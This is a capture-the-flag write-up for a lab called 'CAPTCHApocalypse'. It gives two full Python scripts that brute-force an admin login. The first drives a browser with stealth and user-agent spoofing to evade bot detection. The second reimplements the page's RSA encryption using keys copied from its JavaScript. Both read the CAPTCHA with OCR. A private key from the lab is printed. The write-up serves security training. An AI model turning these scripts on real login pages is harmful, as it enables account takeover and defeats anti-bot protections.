CAPTCHApocalypse
When crypto interferes, automate. - by l000g1c
The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with an Nmap scan and find two open ports. Port 22
on which we have SSH available and port 80
on which a web server is running whose index page appears to be a login page.

If we visit the index page, we see the login screen, which requires a captcha to be filled in as well as a username and password.

We intercept any login request and see that the data we transmit has been encrypted.

As the challenge says “when crypto interferes, automate.” So let's do this. We should log in with the admin user and our task is now to write a script that executes a brute-force and can perform the captcha requests.
Script using Selenium
Selenium is suitable for this. Selenium is an open-source automation tool used for testing web applications across different browsers and platforms by simulating user interactions.
This challenge is a follow-up room to a walkthrough room that deals with exactly this:
Tooling via Browser Automation
We are also told that we should limit the wordlist used to the first 100 entries from rockyou.txt
:
Note: Use the first 100 lines of rockyou.txt
head -n 100 /usr/share/wordlists/rockyou.txt > wordlist.txt
We follow the instructions of the walkthorugh and thus also receive the scripot to be applied directly. We use selenium for browser automation and PIL
and pytesseract
for the image processing.
We use Selenium WebDriver
which controls the Chrome browser for automation, selenium_stealth
to prevent bot detection and fake_useragent
to generate realistic browser fingerprints to avoid detection.
We implement a retry in case of captcha misinterpretation to avoid accidentally skipping passwords.
import time
import pytesseract
import io
import os
import argparse
from PIL import Image, ImageEnhance, ImageFilter
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium_stealth import stealth
from fake_useragent import UserAgent
# ------------------ Command-line Argument Parsing ------------------
parser = argparse.ArgumentParser(description="Brute-force login with CAPTCHA bypass.")
parser.add_argument("url", help="Target URL (e.g., http://10.10.202.187)")
parser.add_argument("--wordlist", default="wordlist.txt", help="Path to password wordlist")
parser.add_argument("--username", default="admin", help="Username to attempt login with")
args = parser.parse_args()
# Ensure URL has scheme
url = args.url.rstrip('/')
if not url.startswith(('http://', 'https://')):
url = 'http://' + url
login_url = f'{url}/index.php'
dashboard_url = f'{url}/dashboard.php'
username = args.username
wordlist_path = args.wordlist
# ------------------ Setup ------------------
os.makedirs("captchas", exist_ok=True)
with open(wordlist_path, 'r', encoding='latin-1', errors='ignore') as f:
passwords = [line.strip() for line in f if line.strip()]
options = Options()
ua = UserAgent()
options.add_argument(f'user-agent={ua.random}')
options.add_argument('--no-sandbox')
options.add_argument('--headless')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--disable-cache')
options.add_argument('--disable-gpu')
options.add_argument("start-maximized")
options.binary_location = "/usr/bin/google-chrome"
service = Service(executable_path='chromedriver-linux64/chromedriver')
chrome = webdriver.Chrome(service=service, options=options)
#Implementing Stealth Techniques
stealth(
chrome,
languages=["en-US", "en"],
vendor="Google Inc.",
platform="Win32",
webgl_vendor="Intel Inc.",
renderer="Intel Iris OpenGL Engine",
fix_hairline=True,
)
# ------------------ Brute-force Loop ------------------
for password in passwords:
while True:
# chrome.get() loads the login page.
chrome.get(login_url)
time.sleep(0.3)
try:
captcha_img_element = chrome.find_element(By.TAG_NAME, "img")
captcha_png = captcha_img_element.screenshot_as_png
image = Image.open(io.BytesIO(captcha_png)).convert("L")
image = image.resize((image.width * 2, image.height * 2), Image.LANCZOS)
image = image.filter(ImageFilter.SHARPEN)
image = ImageEnhance.Contrast(image).enhance(2.0)
image = image.point(lambda x: 0 if x < 140 else 255, '1')
captcha_text = pytesseract.image_to_string(
image,
config='--psm 7 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ23456789'
).strip().replace(" ", "").replace("\n", "").upper()
image.save(f"captchas/captcha_{password}_{captcha_text}.png")
if not captcha_text.isalnum() or len(captcha_text) != 5:
print(f"[!] OCR failed (got: '{captcha_text}'), retrying...")
continue
print(f"[*] Trying password: {password} with CAPTCHA: {captcha_text}")
# .find_element() locates the username and password input fields
# .send_keys() simulates typing into the fields.
chrome.find_element(By.ID, "username").clear()
chrome.find_element(By.ID, "username").send_keys(username)
chrome.find_element(By.ID, "password").clear()
chrome.find_element(By.ID, "password").send_keys(password)
chrome.find_element(By.ID, "captcha_input").clear()
chrome.find_element(By.ID, "captcha_input").send_keys(captcha_text)
chrome.find_element(By.TAG_NAME, "button").click()
time.sleep(1)
if dashboard_url in chrome.current_url:
print(f"[+] Login successful with password: {password}")
try:
flag = chrome.find_element(By.TAG_NAME, "p").text
print(f"[+] {flag}")
except:
print("[!] Logged in, but no flag found.")
chrome.quit()
exit()
else:
print(f"[-] Failed login with: {password}")
break
except Exception as e:
print(f"[!] Error: {e}")
break
chrome.quit()
After we run the script we eventually retrive the flag.

It may not work straight away, and might need to be rerun again. This may be due to Selenium itself. Since this phenomenon did not occur with the following alternative script.

Script Without Browser Automation
An alternative script could be created to execute the request directly, rather than via browser automation. This is possible in this case, as we have the encryption keys available and simulating a valid browser is unnecessary, as there appears to be no detection in place.
The encryption of the data we enter is carried out locally. The script for this can be found in script.js
.

Here we find the key material to carry out the encryption ourselves in our script.

Furthermore, we can retrieve the captcha directly via capthca.php
for further processing.

Next, we wirte a script using requests. Fetching the CSRF token is necessary here, since we do not simulate a browser.
import base64
import pytesseract
import requests
from PIL import Image, ImageFilter, ImageEnhance, ImageOps
from io import BytesIO
import argparse
import time
from bs4 import BeautifulSoup
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.backends import default_backend
# Server Public Key
SERVER_PUBLIC_KEY = b"""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt38SAt9XfLRClH+41yxl
NIEOrHcZjGjrZZVV/R/XcuFJI2bBInWrmcnrQguajtO1tehWrdSCto+kP6wI2NyR
qL8tpuovK6SO1KT+TpkceeZyJIN+QGnp19pbLeDG3xZXK94AKxB0xH59DWHWcHNs
ktLz3RnW4xX+YI3o5hn/fcgPrxQ6kK4jYPm0xtbIYtcc86zH9+Cv6R+Y0rwfAXtG
0+YAJDYYRo0Aro1uV2zCG/9Khy/Dxrvm3Qc4OAidZsoS6dFv+0/Hp3UxF8FfAExw
Iwfx6YKfiC4xpGuDlxkyuP90L9T0Ke8KPfKhAqc5+aHE0EqYkXDRQQVrF5fmjdRk
LwIDAQAB
-----END PUBLIC KEY-----"""
# Client Private Key
CLIENT_PRIVATE_KEY = b"""-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQC1DwWR7yGlsNpg
YaBHWheqnLoZvGuSr3MWcZyoHrql5iwzzOolmu00WwaGiuOwPyl4GjRCR4rwXpGq
sMJiYuwOG6w9gPzIDg1Y11cPtkqzxZ20kX/8DFFlGiurwAK6SOkrtfhLYF56YDJg
WS7lVwtVq5LstdzSeTEtvSFdhNedUZW8l319AYJGjByXwNMUW3u21wGff8hDN8Yu
AMrciW1UJFO2aN39v8Vev1VrAvRItFK1znCq0eNRJKjruEztXO/vZzR8Lc0BA0Uj
OyIizkEQKBx5/OTRf8rqO5CkqcLcr/f0u4ZlH6cJg9jOVJlTeb37S94d3uSx+4Pb
EIw+/Hm7AgMBAAECgf8ICgCTLWjRDCLINdG9WUs8P4YD0bfB1BmDy/8PEYFrQrNv
dzrMG1CgHBU2n9HztJX4HQ+bWTyFPHp/iJ3lr1yYmRlqkJxkZ7LJnOg4KD3CeWGg
zX+2l6I4wV+mfE74B4j9gXTAjrGBEtVuC1R4pykEV/e/JHYpjOKqpTsi0kMm9LH5
a3eiLKtP+zAL+s7DEQopALi2oEq5/0+hJxZVYUX0P6q+A/o5kdheXeWjEuL9nUDR
YM/bcnAOKTE9B7+sZ5SUGDwf6L+MpTBLN7rnNvli6mykmvYwCeFYOKAVXjcFWRg1
3kR0yVxkpPBXC97CZyRsYiRHiYEzRKZo5eHRhHkCgYEA7nPGUNhHtXeT5oIurZgJ
K/FePMzgBxbDXtbAHEpw378Y90BjUUB7YxAZxhiTO1wKsAWhr1VQOdWmqlTrhurN
/XGxrpMuDRuNkYbXjjvmv4SpdgW5YnXR9BA1bjwWbuEoqsLu//oNySrbLVlYP2he
Q3rXeCN2BZDStte2D6VrQukCgYEAwmIBCOjaBWh8VnxnoSsSdjUf1/oXAIzKpEwO
waZadwsqau3ITARGjz0cMuV8s7gXAU6fskXqIMvaAxvr1/GXfoIGTSuSwNRW0MKI
k26HK++R7TPISLXC1PpF33z+uBRi6wiYeRsG+Jo5l4pW9fD4KBSFs2P9H5njWeW+
hH0MiQMCgYEAzCJvD3zoftDc3ARsw44Zo/XhUDmwPEFfhgxgsJeF4/ZsABeuLrv+
JYN+HRmiybl1KNXZYgmuQaTHJqDGdV0EdclkbGhxjyUcYA5I8OoVE7YVgQVLfKAS
2lcZ9sIYDlpRf0acZqWCMcqvkjYfl0DZGfnLBn2NJxyhV4h5wxFBLykCgYAJ9zxW
WJnU7SZyyK4HdU3dAZxAVnIXdSBui/e1tfGtaMUj9kzumMmFTnzDn0Bldmq3hnBp
k2wNgmYLAsN0rs41jjUEf9dmS3yn91FJPcFwXzf8EUuTbr4ubSZn7uCgT2tC4Y3v
p5MT69RIEK+krFYMuACi0d2IYTtmwICkCkU6QQKBgGlXG0c681f1lYVAVryEszrO
We9+VRrO3pDiyY348HBdwyyXpn7vfK+fF5C+prDEtO5IQ6v/tdeYfzKVa0iZhIUF
kp2XdXBSHm7ykeY5LYUAjhoShT2Y3gT1oEH5DjqdTA0oJ0DSvbzMchi+uO5e0ZHO
xuASizGvaR+gZ9+ANTmJ
-----END PRIVATE KEY-----"""
# Target URLs
BASE_URL = "http://10.10.189.125"
INDEX_URL = f"{BASE_URL}/index.php"
CAPTCHA_URL = f"{BASE_URL}/captcha.php"
LOGIN_URL = f"{BASE_URL}/server.php"
session = requests.Session()
# Load keys
public_key = serialization.load_pem_public_key(SERVER_PUBLIC_KEY, backend=default_backend())
private_key = serialization.load_pem_private_key(CLIENT_PRIVATE_KEY, password=None, backend=default_backend())
def get_csrf_token():
try:
r = session.get(INDEX_URL)
soup = BeautifulSoup(r.text, "html.parser")
token = soup.find("input", {"name": "csrf_token"})
return token["value"] if token else "static"
except Exception as e:
print(f"[!] CSRF token error: {e}")
return "static"
def get_captcha_text():
r = session.get(CAPTCHA_URL)
image = Image.open(BytesIO(r.content)).convert("L")
image = image.resize((image.width * 2, image.height * 2), Image.LANCZOS)
image = image.filter(ImageFilter.SHARPEN)
image = ImageEnhance.Contrast(image).enhance(3.0)
image = image.filter(ImageFilter.MedianFilter(size=3))
image = image.point(lambda x: 0 if x < 140 else 255, '1')
text = pytesseract.image_to_string(
image,
config='--psm 7 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ23456789'
)
return text.strip().replace(" ", "").replace("\n", "").replace("O", "0").replace("S", "5").replace("I", "1").upper()
def encrypt_data(plaintext: str) -> str:
encrypted = public_key.encrypt(
plaintext.encode(),
padding.PKCS1v15()
)
return base64.b64encode(encrypted).decode()
def decrypt_data(ciphertext_b64: str) -> str:
try:
encrypted = base64.b64decode(ciphertext_b64)
decrypted = private_key.decrypt(encrypted, padding.PKCS1v15())
return decrypted.decode()
except Exception as e:
return f"[!] Decryption failed: {e}"
def attempt_login(username: str, password: str, retries=0, max_retries=5):
if retries > max_retries:
print(f"[!] Max retries reached for {username}:{password}")
return
csrf_token = get_csrf_token()
captcha = get_captcha_text()
if not captcha or not captcha.isalnum():
print("[!] Unreadable CAPTCHA. Skipping this attempt.")
return
payload = f"action=login&csrf_token={csrf_token}&username={username}&password={password}&captcha_input={captcha}"
encrypted_payload = encrypt_data(payload)
headers = {
"Content-Type": "application/json",
"Referer": INDEX_URL,
"Origin": BASE_URL,
"User-Agent": "Mozilla/5.0"
}
try:
r = session.post(LOGIN_URL, json={"data": encrypted_payload}, headers=headers)
if not r.ok:
print(f"[!] HTTP Error {r.status_code}")
return
response_json = r.json()
decrypted = decrypt_data(response_json.get("data", ""))
if "Login successful" in decrypted:
print(f"[+] SUCCESS: {username}:{password}")
exit(0)
elif "Login failed" in decrypted:
print(f"[-] Failed: {username}:{password}")
elif "Invalid CAPTCHA" in decrypted or "CAPTCHA incorrect" in decrypted:
print("[!] CAPTCHA rejected by server, retrying...")
attempt_login(username, password, retries + 1, max_retries)
elif "Retry" in decrypted:
print(f"[?] Response: {decrypted.strip()[:80]} Retry! Retrying CAPTCHA...")
attempt_login(username, password, retries + 1, max_retries)
else:
print(f"[?] Unexpected response: {decrypted.strip()[:80]}")
except Exception as e:
print(f"[!] Request error: {e}")
def main():
parser = argparse.ArgumentParser(description="Brute-force login with CAPTCHA and RSA encryption")
parser.add_argument("-u", "--username", required=True, help="Username to try")
parser.add_argument("-p", "--passwords", required=True, help="Path to password file")
parser.add_argument("-d", "--delay", type=float, default=0.0, help="Delay between attempts (seconds)")
args = parser.parse_args()
with open(args.passwords, "r", encoding="utf-8", errors="ignore") as f:
for line in f:
password = line.strip()
if password:
attempt_login(args.username, password)
time.sleep(args.delay)
if __name__ == "__main__":
main()
After execution...

... we retrieve the valid credentials of admin
.

With those we are able to login and retrieve the flag.

Last updated
Was this helpful?